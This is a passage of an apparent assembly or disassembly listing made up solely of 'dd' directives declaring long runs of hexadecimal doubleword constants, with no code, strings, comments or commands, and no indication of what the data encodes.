77F40E9Eh, 3C14F6B1h, 60028A6h dd 0A229A3C7h, 0A900D2DAh, 23DD7DCh, 9D81E3ADh, 7226EF50h dd 0F493405Dh, 0FE9C6C80h, 972000C1h, 0BBEAE4DBh, 63006B2Ah dd 30D6EE07h, 0E82FD0h, 0BC9B4B9Ch, 9EA88EFCh, 6BFA2C90h dd 0D2C08BCh, 0AC854407h, 4D8A78ACh, 0BC004CE3h, 9364A3C8h dd 75007CB7h, 0CD122C8Ch, 753C28Ah, 0CB5F9CD8h, 0C7222518h dd 54FAF285h, 0A740C50h, 0E83AEF70h, 88302461h, 4880F000h dd 81CE5Fh, 8EB13469h, 0A489D838h, 5C22430Eh, 0CDE3E1F9h dd 0D9DC8751h, 2B3C00EFh, 4D033BFEh, 0A8007501h, 0BC44309Bh dd 85EA4Ch, 7659FB12h, 6CA9E622h, 560037ECh, 735D5CB9h dd 0FC897E5Fh, 70BCE36Dh, 20507F80h, 8B19F00Ah, 0C73D8700h dd 795EB5F6h, 732C0F69h, 7500D5A8h, 3D05D21Bh, 0C400957Eh dd 3A18D6F0h, 14EF1FCh, 777625F8h, 539FC3BDh, 79A02998h dd 723CCC14h, 22062D2Dh, 28C2364h, 66C0DCC0h, 1F00993Ch dd 0BE6C2BE4h, 575AD2h, 3990538Dh, 0AE7A07A1h, 46F09407h dd 0B41343A5h, 0B115A997h, 0C883B121h, 0CDB03678h, 3B610F90h dd 0D6C5AB0Ah, 1560D41Bh, 7CD2C3A3h, 5B0C01B2h, 0EA12B5A2h dd 836864B6h, 48B4D8F7h, 0FC490226h, 0D9137D00h, 0E54E995h dd 0A59A4089h, 10B7EF47h, 513548ECh, 0C11C74F2h, 0A0C08172h dd 0B0DAC8F9h, 742A5C58h, 1BD2FD03h, 39C856C0h, 148C58Bh dd 0DEFE04B5h, 0F887128Ah, 0B0C95CB0h, 0CB240083h, 0B57DC81Ch dd 6301D7B3h, 0C154A820h, 20644996h, 0E5AB0087h, 7F7B326Dh dd 500904CFh, 2041FA6Eh, 96450284h, 0F1180F34h, 0C9610C8Eh dd 438F5281h, 89D00DB8h, 0BA00632Ch, 4FB3E696h, 0EA036533h dd 0C05600D2h, 0B13513B2h, 8C0C3B3Fh, 1014AEC3h, 556400B9h dd 0AC3E2252h, 13B43F3h, 7FB004CBh, 0B8801C21h, 3CB293B8h dd 0F200984Ah, 48412053h, 0A90FC607h, 0E0135605h, 25BE74A0h dd 0AC673AC2h, 0D34B8C00h, 0EC769ECFh, 0A8883D00h, 0AD61F398h dd 4E080146h, 0AF72D4Ah, 47A0DC71h, 147B7300h, 0CF952026h dd 253F074Eh, 32C984h, 0F75FA564h, 9CC5ED02h, 0C0CC576Eh dd 0FA82B3h, 876FE3D2h, 0A576E9C9h, 0E595CE16h, 0A0BB7497h dd 0F0B40708h, 7B61005Ah, 0F494867Ah, 0EF004226h, 40B25650h dd 8A9548h, 0A0B9E6Dh, 4C1A8F04h, 3801FC7Dh, 77960DB7h dd 0A8D0D6F4h, 561800C2h, 5E21E47Ch, 20282CCh, 93B71984h dd 8165423Bh, 0BC2D334Dh, 305DEE4h, 0A62B6FADh, 7680A7E9h dd 2500DB11h, 4ECBA345h, 3F3EDA2h, 790E787h, 0FE805C7Ch dd 627174EFh, 31A34413h, 0C53ACA01h, 0A47429E5h, 90904C7Bh dd 35F39D0Fh, 653BC487h, 0A888C0DDh, 690254CCh, 7372B209h dd 745663h, 0A20C94BDh, 0AF717412h, 0DD532900h, 0A00450D5h dd 26A6728Bh, 858C07EEh, 0D0166E64h, 246790DCh, 87952500h dd 0A937E22h, 10DA505Dh, 142018Ch, 5C50DC0Ch, 3051D40Eh dd 2A301272h, 71825103h, 8EA09416h, 9F800AA7h, 288F568Ch dd 0F63FB502h, 0E0E7AE17h, 793A97h, 23F82F46h, 0C7B015D4h dd 0A98DF91Ch, 0E81F1200h, 1C952D2Ah, 707D07EFh, 2F5648A0h dd 0FE4CFFEAh, 88123000h, 60FA866Fh, 0A7A070E1h, 504A47E0h dd 0C12FC56h, 0C40C0891h, 0C6C8C08Eh, 54005B8Fh, 4E42EC2Fh dd 0F1E03700h, 0E996FD10h, 229005Dh, 1F1511CEh, 917D62EEh dd 6401D398h, 0C85DAE7Fh, 2FE85F8Ah, 80450004h, 0F4539E4Ch dd 3600AA6Dh, 0F055B8Bh, 0F99DE2h, 0AE6AC279h, 24C0C141h dd 0B9B64E0Ah, 9B00CBCAh, 81D9A2E7h, 0B35C07F8h, 3001AA30h dd 0DABD4A66h, 3A95100h, 0FDF225B1h, 0B97F7Ah, 6C4B825Ah dd 50B275C3h, 4AC8D400h, 27A6ACD9h, 8BC200A0h, 5ACB425Dh dd 6638648Ah, 0F13D819Bh, 2BEBBB79h, 29000028h, 0B2D6E8B6h dd 84265E16h, 0EF80486Ah, 9EB12E0Ch, 3CC70BBh, 6BBE8F36h dd 0B4E010D4h, 0E21E910Eh, 23AB120h, 690207F8h, 31B88068h dd 10FEFFFh, 9A7CDC87h, 0F0CAE063h, 4231912Eh, 0BC7250F0h dd 4FE034h, 59CBD7AAh, 32F15129h, 0AEC78301h, 0B890FC11h dd 1A701880h, 9BA9867Dh, 8524A81Eh, 0DE61110Eh, 57AA7E03h dd 2F281C90h, 78641EFh, 0D1DC118Bh, 441880BDh, 6134BCDh dd 34C32570h, 0C10060BCh, 65B1226Bh, 7A41D61h, 0FFA4F87h dd 9923C0B6h, 0ED0028C3h, 83DEC89Bh, 4C70A6h, 72A31275h dd 688A8278h, 0BE9A7D00h, 34B42667h, 9C88A03Fh, 14491E6h dd 58E9C769h, 0CE40EE0Eh, 8CCD64Ah, 4E21BDh, 0B4EFE99Fh dd 0D28AE540h, 0F05BFF30h, 1FDFE294h, 1295A57h, 97DA7E09h dd 82E8838Fh, 15123D2h, 0BBC1128h, 0F607E748h, 7335D480h dd 9904A1BEh, 0F7EB0989h dd 87A804D0h, 0F4F955EAh, 0AFB741DAh, 25D3F440h, 9FA90CC8h dd 0C920D76Eh, 305C8505h, 2038EA78h, 29846D8h, 0A1C96B38h dd 14640Ch, 9B5581FFh, 30F64D8Bh, 0D809646Fh, 3E791F21h dd 5C012655h, 0C06FAA93h, 0B5F18259h, 72712D34h, 96F100DCh dd 9F937FC1h, 921D8D22h, 0D18246Fh, 9ECB21h, 0D927A5C1h dd 0AD537649h, 0B254BD00h, 9B4A89A4h, 0CA98A080h, 310802FCh dd 0CC3D708Bh, 471110C1h, 0C964E39Ch, 7F60209Dh, 8B239555h dd 13117Dh, 7855771Dh, 0BE7EB42Dh, 98003E9Ch, 0AE0E3F66h dd 9427B884h, 0A538C061h, 9C79032Ch, 0CA7F0D5Dh, 0AD290800h dd 16465696h, 0E4B80151h, 0C9665EF3h, 824448A2h, 8B965508h dd 7A247075h, 0EBDD20C3h, 52E8FE5Fh, 9F2A0B3h, 9D2E5430h dd 1958F7F0h, 8D8A8050h, 0BB2A3CFh, 12790FC3h, 9710ED81h dd 6ED8236Fh, 97853170h, 0A73082C1h, 34E43890h, 1D9FD280h dd 804E1FC1h, 27CC8966h, 3F1A55E6h, 42602A16h, 96A88440h dd 3EE9D067h, 4F432C0Eh, 4C5CC122h, 810D0120h, 8B9809DCh dd 483F2C20h, 5903A45Dh, 0EE027EC6h, 0C087603Ah, 0A40E8C9Fh dd 920E59E9h, 87D838h, 0FBBBE99Ch, 86BF444h, 89D80A05h dd 448817F2h, 8EF6035h, 7D7AF1E2h, 87802448h, 4190DF61h dd 1EAFC98Ch, 2ABE45F7h, 0F3430F8Ch, 9C2915D9h, 60A04404h dd 21945724h, 46C0458Bh, 31B2557Ch, 95A98EE6h, 7908840Ch dd 40905E1Ah, 7508FEh, 0CA2E3096h, 32DCBE18h, 0EFBF6600h dd 5BA54658h, 949F03F3h, 67337F2Ch, 0BCBB390Fh, 0DAD00197h dd 43D04E70h, 8FF718FAh, 0B9E78989h, 0FD0479C7h, 5A034790h dd 82BE0FA3h, 1A80C0D6h, 772EE1E2h, 0ED8FB21Fh, 59FE3FC1h dd 0DEF0A481h, 0A7AF0010h, 8B162D42h, 0CA3EA189h, 1A7C0A86h dd 0EA8AC30h, 0A7B1CC0Ch, 0CCB0287Ah, 66A95931h, 89CC5700h dd 14FF22D5h, 0AF600525h, 8DE858Fh, 0A3C0A0F4h, 460E54E9h dd 126610BCh, 0E99B8A00h, 0CEFBE3F7h, 6A57A900h, 94C05431h dd 0FAE01C38h, 9BC48993h, 1A8C5880h, 8491CF0Fh, 93805811h dd 0C794F2C1h, 0D6E6448Ch, 91C19B00h, 0AE9FE199h, 7B098EBh dd 0AA5AE9FBh, 0CB2B2134h, 68B8B1C7h, 6E07CEF3h, 91121BA0h dd 0D8B07E50h, 0DEA07A09h, 574501Eh, 0EA89C6FCh, 0A1A09057h dd 261C9FA7h, 7F00CD0Eh, 1AC5E594h, 205A6521h, 23B83ACCh dd 0AE880061h, 0ACE4CFB3h, 90B41913h, 897A1C20h, 0D0FF690Eh dd 0F42F88Fh, 0F08BDCh, 2B653707h, 2C90A2D3h, 0B9FBA88Ch dd 0C4CD3E04h, 250554B8h, 0A72A7B36h, 0EE5318D0h, 9F51C85Eh dd 9156F3C0h, 0F41D218Bh, 413E1B91h, 4765580h, 182BC595h dd 1783161Eh, 0AB434ACFh, 2550A0A8h, 0C1292FDEh, 83AA7A70h dd 9C6042BEh, 98558030h, 0F4252B47h, 78428160h, 70E3B355h dd 0A66184C0h, 599147C1h, 8808CB14h, 1289C01Ah, 0A47D8D02h dd 9E82370Fh, 47A3C3B0h, 8AC6B299h, 6E0920CCh, 0DE88A221h dd 4004C7Eh, 0A7C7CC59h, 205D626Ah, 65CC516Ch, 0E92419FEh dd 9011B079h, 40EDA41Eh, 0C881D7A6h, 7EC18FEh, 76A180F5h dd 306BDC19h, 2C9A0093h, 0F131371Eh, 0CCE24305h, 0C87E5701h dd 0E00A80EAh, 978A897h, 0AC3056B0h, 2811C18Dh, 0E088B795h dd 0C140D09Fh, 4EC0E3E4h, 0B20180Fh, 52D78108h, 2D373B06h dd 511372h, 0BACB3A07h, 7E2609D6h, 0F1E87330h, 3134ADE2h dd 5E11A812h, 0DF49855Dh, 7C8BB481h, 44C0E6C8h, 0EF0B4B2h dd 845D9B7Eh, 425A5179h, 0C88303C3h, 89D5ED8Eh, 0E2C447D0h dd 0E0400FB6h, 19C01472h, 36085AFFh, 1820042h, 3CED525Bh dd 0DA753FC8h, 5A848CBh, 0A41DFCF9h, 0FD5A41C6h, 87E40218h dd 601B516h, 189A9061h, 2C4198CDh, 7084CC0Eh, 0E909A588h dd 0A977B9E4h, 0C6788038h, 596A3F54h, 9B88E034h, 3DE9C8C0h dd 2284460Eh, 0A05B01BEh, 33ABD5E9h, 2342463h, 18F8D176h dd 0B42A4F00h, 0B5FB3965h, 8E451457h, 56108CCCh, 7910060Dh dd 4980265Ah, 9B820EBh, 0D4003543h, 1C644E20h, 7840D05h dd 1D0ACDB2h, 44329066h, 0AE24102Dh, 854110E1h, 80051268h dd 63ABEDF8h, 0EF664A03h, 64335Ah, 0E2CE4CD9h, 0D4E2A17h dd 0D6681400h, 7642D7D3h, 9CA414D8h, 9403FC89h, 85A20460h dd 8AABA0C7h, 0C32E5E9Dh, 0DC4B2C8Fh, 0B4A51519h, 5BE9CA80h dd 0E0ACD40Eh, 89BC44h, 86B6E9A2h, 0B4EC275Ah, 8D9219C0h dd 0F297E10Eh, 0B10500F4h, 9EDA5D0Dh, 0ED129458h, 48201047h dd 25295695h, 3C1B8FADh, 2C4DE3C2h, 0D560C264h, 0A81FC0E7h dd 25069F85h, 21B5E5h, 592482B7h, 5547DB54h, 76B43C01h dd 5C051A85h, 2F237C29h, 81C19C00h, 86246F93h, 0D10A44h dd 3AF1C1A4h, 2FF22E04h, 0CE89364h, 81763B45h, 93456F2Ch dd 4C60B260h, 1123944Ch, 30B4AEFh, 59788CA9h, 0DE60A8B6h dd 5D5C38F9h, 0E915F682h, 0F841C6E0h, 46C412C9h, 0FBE213D4h dd 20C08943h, 0C89B8B05h, 0C8CC5A01h, 521872A7h, 0CCD56B89h dd 9248ECh, 38827928h, 27D2951Eh, 295A6502h, 0E5B4FADEh dd 350AE250h, 0E442E218h, 4C8A1CE6h, 88CF5289h, 4E010110h dd 0A1684795h, 0D2F4B8C4h, 0CCAB4896h, 94DC2614h, 238C2F4Bh dd 0D98700BEh, 0C953DBFDh, 0C15C84B0h, 11D0C858h, 0CC568077h dd 8C52A7A4h, 6F5444h, 30B1082Eh, 4FE2E9D2h, 904DDA17h dd 0EEDFFB01h, 0A029E878h, 18E01F04h, 7E0815Dh, 9DD8500Ch dd 6704EA91h, 7CDBA161h, 9EA2E880h, 0F2080F60h, 712EE2Bh dd 0CF8154DCh, 474E3521h, 1D42277h, 3969D29Eh, 0C4C61021h dd 279DFE28h, 400486ECh, 572660A6h, 158B1092h, 7E48B0F4h dd 89D00555h, 158EF4Ah, 6FE1B18Ch, 0BC82CEBEh, 4C7293B4h dd 34609009h, 4ACF8621h, 87320B21h, 81C1476h, 2156BC94h dd 46801265h, 8D6E28E2h, 19C33BBAh, 3E890F86h, 5E1260FFh dd 0E80B9CB7h, 9168976Ah, 0BA278018h, 0C02A95B8h, 0FCEAF8D1h dd 987CECh, 9C88B92Eh, 9CF27A02h, 811845C6h, 1B0B9F5Dh dd 3A94102Fh, 0A37416F6h, 0EA6C20EBh, 640024E8h, 0A148411Ah dd 6924Dh, 830B5510h, 79D0DDFDh, 0EC30E8A4h, 6F45398Ch dd 0DB5E0169h, 0B4DEE862h, 8B344078h, 0EA4BF1B8h, 0B9D7041h dd 998F6BE6h, 159E0EE8h, 7A81CC91h, 0EC36E98Bh, 5A264EE7h dd 78E40C42h, 0CDCC5B60h, 7C5AA724h, 536A70h, 0D7BCBDCCh dd 5F5666A6h, 0D104777Bh, 7F13EA8Bh, 0CC0E68A5h, 2EC01B88h dd 0ECC59B9h, 7C09BDD7h, 0A15B0473h, 0B244F34Ah, 71D6300Ah dd 0FEEF811Dh, 0FA87A602h, 6160E8E2h, 5D0E4F56h, 18415210h dd 638B1099h, 59866E12h, 96290808h, 0C0249AB3h, 0A62DC037h dd 42B20388h, 8AAE5B97h, 72B50189h, 34E3F124h, 0DC00BD0Ch dd 0B993E8Fh, 0A0FD8527h, 0BAA3FA4h, 0B457E27Dh, 0B2D76060h dd 749F2624h, 2601DD08h, 5B467404h, 0F7C5E301h, 0C09A1947h dd 0A458B154h, 78224F9Bh, 5CF8089Eh, 0C381C46h, 0E5A22D80h dd 0FA891206h, 3D3960B2h, 87267965h, 0A4079CCAh, 84FA722Ch dd 44B19180h, 0E0D5DDh, 7FE1A590h, 64F7D362h, 10815631h dd 0E36E40h, 0F29E031h, 0E423D37Ah, 9FB1200h, 0E1D520BBh dd 0CA260BC6h, 0AC00639Ch, 856F6AA4h, 7E4AE873h, 0AC629013h dd 5B6C7387h, 0E62B95A0h, 0A72E2713h, 895DAC05h, 14ADC88h dd 0FAB26D01h, 18438E81h, 42B70CE2h, 2288CCE4h, 0B2408552h dd 0E6CB3054h, 0CD0027B0h dd 1215BD06h, 4D0EE3C2h, 8C001CE9h, 2F0427F3h, 5D0F3951h dd 7223AA93h, 0EE42401h, 0B89F257Dh, 545F0B94h, 0B8510081h dd 5D0398Bh, 10A27FA8h, 7EF39800h, 4E3B57D2h, 23983A5Ah dd 0EDE30013h, 66703E04h, 465C04BCh, 8B070013h, 5D587D96h dd 70990D6Eh, 68106445h, 32C2BD88h, 0E0C7E3D5h, 0FEDC04D1h dd 0F0D7921h, 235FEE0Fh, 8E334624h, 350DC4E8h, 88F17037h dd 0FC038426h, 946D1276h, 0D51AB8EBh, 7AD0A060h, 323F28D2h dd 466104A8h, 98A7E34Ch, 3CE366C0h, 33FAB914h, 0C80DB699h dd 500D3AFh, 0F113FFD8h, 0F5E6CA67h, 51414875h, 5071EDDDh dd 3A8ECCh, 7F556EA6h, 2D32AFCAh, 30B85B09h, 0E260C533h dd 0C819350Dh, 0F28F60E8h, 0BAFE0271h, 4FA7D72h, 3E2C2048h dd 844D0B28h, 8C60EC9Ch, 0C34F2F42h, 0EFE3F818h, 92ECD912h dd 0D68EAC40h, 9412CCDh, 36379F4Bh, 0C4E0884Fh, 4DC889h dd 370D75DCh, 0D6882F9Ch, 7FE0F47Eh, 15F7B00Bh, 174CAB98h dd 801891C0h, 194A4C41h, 77B012DBh, 6D7C9DF8h, 295A860h dd 0AC870D67h, 78E496B8h, 0F80B7098h, 0C523FB60h, 1266E25Ch dd 4BFB18h, 29FC5D45h, 40CF95DAh, 65337D14h, 30DEAD7Ch dd 0D8003E4Ah, 1C3912C5h, 98C337Fh, 0A729511Ah, 0E542C467h dd 0F3A61834h, 40BFE325h, 0C2FEECF4h, 26337CC1h, 0B10184A0h dd 1602FA0Dh, 4219B994h, 6E90E056h, 9403827Eh, 74E8AE03h dd 0A3004DEBh, 0E1B0772Eh, 0C2B8C4h, 0FC346095h, 62815497h dd 0A22791ECh, 41208108h, 0E4000D32h, 6C7D507Fh, 40A10626h dd 3B00F411h, 29234BC5h, 0DE0112E8h, 389406BFh, 7FDD4553h dd 1205493h, 5DF66550h, 3D60395Eh, 9EC0CCB4h, 0E05182DBh dd 60A6E179h, 0F88A11DCh, 233C2F93h, 0B2D7BA2h, 0CD048B92h dd 0E4F5610Ch, 399D10B8h, 28FD0338h, 0AAA7565Ch, 2787A590h dd 37DAA305h, 0B8C15015h, 7202F986h, 0B000C8C4h, 39C4EB8Eh dd 1FE7F6DAh, 423FC792h, 369FA66Fh, 704CBCCAh, 0EA899A05h dd 0C4C2878Bh, 3F885219h, 5A9282AEh, 0A4A4200Bh, 0CA0ECC16h dd 0DA3008h, 860E72E5h, 0D9E6B0h, 3AD7702Eh, 7D793F40h dd 0E98C3530h, 10272BCh, 12346A14h, 0C6FBB48Bh, 9D0124F9h dd 649C99C1h, 18F26862h, 0DAC09C31h, 6ACC9427h, 3D00DEE8h dd 62FE4B29h, 942E790Eh, 0F4E20960h, 7A46F8CEh, 0A3CC0B71h dd 149C4AA7h, 81E707Bh, 0F42633BBh, 5FD13900h, 788487FEh dd 0F0073094h, 5B21FCD1h, 260728E0h, 508824F2h, 0C85A77F1h dd 0AC225071h, 0CF305CF2h, 26F8902Bh, 3E85309h, 5AF8F3FAh dd 0D6D4E28Ch, 0E700806Bh, 0A34860D0h, 0B602C2D7h, 0B0B2011Dh dd 3824441Ah, 6D8817E5h, 4180060Bh, 18254BABh, 884B185h dd 0A4008A68h, 3B795B9Ch, 0F850F3E6h, 0BC33772Fh, 440D8068h dd 0A7C17197h, 0B2176907h, 62803B9Fh, 2604A33Ch, 920B4D5h dd 382E5696h, 30FF5FE4h, 0FCACF89h, 0BAE2BB8Ah, 0B11C3752h dd 3911027Eh, 3F5AC1B4h, 682C1BDEh, 3D69183h, 0C8788EC5h dd 0D656C058h, 0F100A43Bh, 0B09989ADh, 5E62A3AFh, 3DA829A1h dd 2A804h, 0F1F67433h, 0DD738CC3h, 0ED945409h, 19E4910Ch dd 2100D432h, 9F9D436Ch, 3717F6CCh, 7490E50Ah, 38AEADEh dd 0AFB17A89h, 0C7E02D02h, 33725E68h, 5815D1C0h, 7FA4FFh dd 2C0B4E1Fh, 0C3D5E4CAh, 0E6525F04h, 78B9E042h, 10642E96h dd 0E8D134E0h, 98086007h, 0BB7DF1DBh, 5A31C8ABh, 1248309Dh dd 644F2DACh, 3815A41Ah, 0FA98E311h, 5E00D915h, 0DCEDB127h dd 2F87A805h, 0C883F272h, 0E79D3A89h, 0D87C2960h, 8634E4D0h dd 1155E000h, 5A400E09h, 4FF10266h, 8B2E7E34h, 9C5B30C0h dd 6E5260EAh, 1D471FE0h, 0AC3E9B40h, 0E6D0B957h, 0C46C0778h dd 0A27EBB73h, 0B05B1CAFh, 465C5CA4h, 0D0310057h, 0BC6B5FF1h dd 28849BBDh, 0DA02250Ah, 1879A099h, 0A217B058h, 3FCC7BCh dd 82083075h, 3671DDA8h, 7ACDB501h, 2F5FAA93h, 0B83FE040h dd 23240540h, 0B26817E6h, 0BB8880ECh, 0C0592FD3h, 890C6730h dd 4A002D50h, 0F7A15116h, 9464C19Eh, 16465CE0h, 0D1848338h dd 0C6997E8Ah, 0FB77708Eh, 68DF2324h, 91649DADh, 0A01A8F09h dd 94BDB1DCh, 921F27E2h, 58C8AC6Eh, 0C191C052h, 972E9524h dd 0CC58CC22h, 2EC10799h, 0A5662511h, 4610C03Dh, 2EE1CD0Ch dd 0BD10AC2Fh, 79FEC011h, 1F9F5DC8h, 5DAA7803h, 0DE29DFE7h dd 0E069524Ah, 2C26A458h, 0E024E477h, 0D8825844h, 0E1E8E09Fh dd 81563E7Fh, 0E04C84Ch, 0B8665114h, 8C17B81Ch, 9441F905h dd 58C2DD1Ah, 89F0569Fh, 0F809CFDBh, 7678C053h, 0B0F30085h dd 5233C1B5h, 0A22D6FE8h, 486401F7h, 7C20F2A5h, 0E27C4088h dd 4AA9F25h, 0A17944h, 0C1BCEC78h, 0B525008Ch, 0B44C581Dh dd 942539E8h, 5040686Eh, 0CFC007A7h, 80BAF2C4h, 26DE1740h dd 0B434D100h, 5D6B294h, 23A05E1Fh, 39D8AA7Ch, 9D005365h dd 0FB918F77h, 1663CAEDh, 94265FC8h, 0E838C4C0h, 0C79B25E4h dd 601B64E4h, 0FC66729Bh, 0CB971D61h, 34EF4968h, 7A133C52h dd 84E03CFAh, 991A2AC6h, 0E1F869D8h, 0C370C073h, 97A708A5h dd 0F01FA32h, 42912DABh, 8B4A903Ch, 0C0C0C864h, 0C513BE4h dd 917438h, 534665F4h, 0F21210D9h, 5FFCB21Eh, 23642E87h dd 0FCC40057h, 100DD899h, 91302A72h, 7FE451CEh, 84000A4h dd 2FD71206h, 0CF25D270h, 0FA8CE02Ch, 0B8EB48B0h, 0C05CBC12h dd 487698B0h, 11E13430h, 2F514C9h, 5B4B8C77h, 384010E0h dd 1A5F780Ch, 63922842h, 4C4064CCh, 0B93A207Ah, 0A400BD40h dd 0C68B7BFCh, 54AADF5Eh, 0BA8BC7Dh, 0F7D28514h, 6B355048h dd 1B79A499h, 97966019h, 0F394BA01h, 8B221A99h, 4C82C3F4h dd 862FE8A6h, 5D119417h, 27DB9C80h, 8113D8F8h, 78F4269Fh dd 0D424F1E7h, 0F26F17E4h, 0E1E007EAh, 412640BFh, 6B26ABC5h dd 2A07185Ch, 2F74BF4h, 0CC24F970h, 2F3B0F0Ch, 0E4621E4Ch dd 2C707DB7h, 0B577361Ch, 0AD825870h, 2A35020Ch, 167DAEF2h dd 847B4879h, 9137ED60h, 5E975400h, 0E3C4CC36h, 90D24972h dd 0DE82C4Ch, 6C733C8Ch, 0C30C6187h, 0B02370F3h, 2713CEFFh dd 8C9007ADh, 0C18039h, 8D3E14Bh, 0F2E29F97h, 37DB8B07h dd 0E98A23h, 0B943F304h, 6CCA477h, 1B01B75Eh, 2E00112Bh dd 0E17AB129h, 261EE49h, 97264036h, 0C868D4F2h, 152D1EDFh dd 41584CAAh, 0BB608B56h, 0A06870DEh, 9CEF1AB4h, 6BBC85E8h dd 252CC0C5h, 0C2D5698h, 409C46E9h, 20A7B6C0h, 0C188DD08h dd 892E94B8h, 0DB6B3CB9h, 0EDFA5834h, 6C82A11Eh, 6FD17647h dd 65B509B2h, 3509E264h, 7A37B18h, 0D231344Eh, 0E7A46EE1h dd 18D8FC87h, 0DF790142h, 0D1784AB4h, 298C5EE0h, 8E9209CCh dd 0B74C9256h, 78F400A0h, 0E39F52F9h, 0C71A871Eh, 467614AEh dd 0D2D300BEh, 0C4E8AFB0h, 2EE42EA3h, 6D380B94h, 9970B45Bh dd 83EE388Ch, 0EC267051h, 98581EF0h, 0A93A3F02h, 4269F261h dd 5824DBACh, 2C004612h, 9F51A541h, 9C68D9h, 20B638Ah dd 0EE8E5893h, 0B0E3CB32h, 87A07608h, 70D2644Fh, 0B5142FABh dd 9F9C5D00h, 0BB1D0260h, 42740463h, 0C0BA1B8Fh, 984382Ch dd 0EB30E5E8h, 8AE6C991h, 467E43Dh, 29341D72h, 16E48CA7h dd 6348A500h, 2FFD3E52h, 8DB70092h, 87998AD3h, 795D3DE1h dd 260B9ECCh, 0E474E560h, 26A6052h, 0C5450187h, 0B2DE7ADBh dd 141C30A7h, 1269BCB0h dd 9088406Ah, 0D9609964h, 8F180Eh, 106E7C5Eh, 0C8948B60h dd 20E1C426h, 0ECD2FE13h, 0D638D487h, 0D71A7F05h, 0D80012F6h dd 913494D5h, 58EF6F86h, 99E6167h, 0D1422092h, 6C42CC6Ah dd 0D32E9CC8h, 0BC68F048h, 1124365h, 6B43FEB8h, 0A9FB9A4Dh dd 84727220h, 0ED71B500h, 50831BC2h, 0D9FB1E01h, 0B346C196h dd 3CAADCF0h, 0C5A5812Dh, 0C064D0E7h, 0B3731067h, 0FE3824DBh dd 8660160h, 77E641EAh, 0C071D874h, 0AFCEC9B1h, 4451A8CFh dd 0F26C7280h, 0DCEA31CBh, 9D018AA7h, 9FAE45D4h, 14200B22h dd 0F882E3F9h, 0DD5D8FB4h, 0B70B487Ch, 10E0213Eh, 243F5289h dd 0B228B274h, 0A90F305Ch, 8094EB4Ch, 2819ADE1h, 0ED8B5046h dd 2218C0CAh, 0A84EF3DEh, 9EAF9B38h, 688120C8h, 0A696B9DBh dd 5C504CFFh, 0BC20BA2Eh, 44B0F809h, 0A865BC24h, 30C2B99Ch dd 0FC1CC114h, 6F4E3F38h, 2AD921E0h, 1440ABE3h, 0BEF91A8Ah dd 0E27A02C8h, 4400BDB3h, 4D02772Fh, 6722300Fh, 30E62C3Bh dd 0AA50304Bh, 5DE10DA7h, 72A9E429h, 3018F2ECh, 48B0A4A8h dd 7117EB32h, 1AC6200Fh, 0AA52FB71h, 0A1F457B0h, 0AA6156EEh dd 291E6F4h, 0E28231C5h, 0C848327Fh, 2D55F54Ah, 0ECFBF0C4h dd 0E5187B25h, 6016E47Ch, 1D2CCDD3h, 6FF73643h, 9D5AC61h dd 78F77832h, 914163C0h, 0D36001D8h, 4BDD9EB9h, 2CCE3177h dd 8CE3E8DCh, 0D2F53E03h, 98854470h, 0C037EA8Bh, 8425E851h dd 0A4149ADDh, 13F33460h, 94F22D02h, 0C34E6F1h, 7E2C1E75h dd 0C4E2E781h, 1029A441h, 65A2276h, 72DB0BA5h, 0E10F39DCh dd 0E1D7D88Dh, 0B2988A15h, 4924C4h, 0FE0C22B1h, 0F33F7D1Eh dd 12D430F9h, 0A07259C4h, 0E404A943h, 917E9E0h, 0B012890h dd 647B6D54h, 0C451698Bh, 7180FD71h, 47115CA9h, 7902E9C5h dd 94C10F1Dh, 80A4D46Eh, 0AB7B6854h, 0F0396A1Eh, 91D83Ch dd 9E1B3FB8h, 275CF10Ah, 4420DF38h, 0C1E8F3ECh, 0B6CC8A80h dd 0A215E08h, 0BC168035h, 2239D8ECh, 8EEBEE00h, 4172F2AFh dd 0E33509B0h, 4C7A91B9h, 80E00D5Ch, 0F862F969h, 588B8A1h dd 4A543F31h, 0B020F685h, 5E735Bh, 5DC10599h, 9506C53h dd 0AE0C0D00h, 29B93DBh, 40EA0090h, 1E83FBC3h, 42001267h dd 0DED28D8h, 0DD1126h, 9E59DA0Ch, 161EB533h, 846AEB3Ch dd 2B4EAB3h, 68D871C0h, 0FD3F0636h, 86F0CFEh, 0F221C660h dd 0E486D89Ch, 7C17009Dh, 9A64476Ah, 0FFF0D5B1h, 0B7288F60h dd 0C0ADA760h, 920AE518h, 977CD2C6h, 2AEAA606h, 610CC54h dd 419CA95Ch, 220039FEh, 756FEE0Ah, 1D9D4F1Dh, 184EED7Dh dd 40B4D825h, 0DAEE0300h, 7E424B33h, 0FC353CC1h, 0AC513183h dd 5CC002E4h, 5778FBAEh, 0D913A39h, 204E9724h, 0CDC9ECh dd 93FF8178h, 3C60B938h, 0CC04C200h, 0C1FE486Fh, 0EB884089h dd 801A4B7Ch, 4F8E89Dh, 0A060C694h, 36236CD8h, 0CA119Fh dd 0ED898CEh, 6003C83Eh, 0B6254C2Ah, 98A4E360h, 1AEB0A1Ch dd 812C6794h, 3663D845h, 10CB31EEh, 7D89DF7h, 0AB6D19E4h dd 78263048h, 22010C97h, 845ADE46h, 9854010Bh, 0C098B008h dd 756BEE06h, 2622FD46h, 29DF4409h, 0B47E8A2Bh, 4080AC1Fh dd 0B03A75A2h, 31B8C0AEh, 3C30F5D8h, 2B10FC60h, 0A515FD42h dd 60C7E490h, 0C792728h, 0D595E785h, 44049018h, 0FB3F1E8Ah dd 1B22E980h, 0E2C83E27h, 0A860C381h, 80323EC9h, 75A701B1h dd 7B82D517h, 0E9A101ACh, 0C6AE4D38h, 3BEBC07Eh, 0FF71C102h dd 884B68h, 3833F151h, 7099B230h, 0C0030493h, 0C56A5C50h dd 0BE07F1FDh, 70A5FAD6h, 132660BEh, 929D03D9h, 0DDD0FFB0h dd 11986092h, 9F746614h, 0CD751E03h, 753D19AEh, 5921C008h dd 620746Dh, 8CDE0C00h, 69A07709h, 0B1998897h, 3C4C7824h dd 47205828h, 0C4330038h, 0B07D58Ch, 921F2C36h, 8B075821h dd 77859FE5h, 0B1BF440h, 90EE5717h, 0C7C00168h, 18D5B0BDh dd 4FC54B1h, 3FF64E0h, 0ECB82AE5h, 0E60C080h, 0E0AD008Dh dd 6D9B110Bh, 0C4A8AE91h, 0BF076E8Ah, 1E653005h, 305D6BA3h dd 0AB21E308h, 2D03BFC6h, 17674D5Ah, 1AC081F2h, 0CAF22832h dd 15E6530h, 71B27848h, 0FC06EC45h, 68C1A17Eh, 0A9551AD5h dd 9F236822h, 72EE0901h, 2C181575h, 23988h, 0D6C4BEEEh dd 0A545F5Ch, 0E28B2507h, 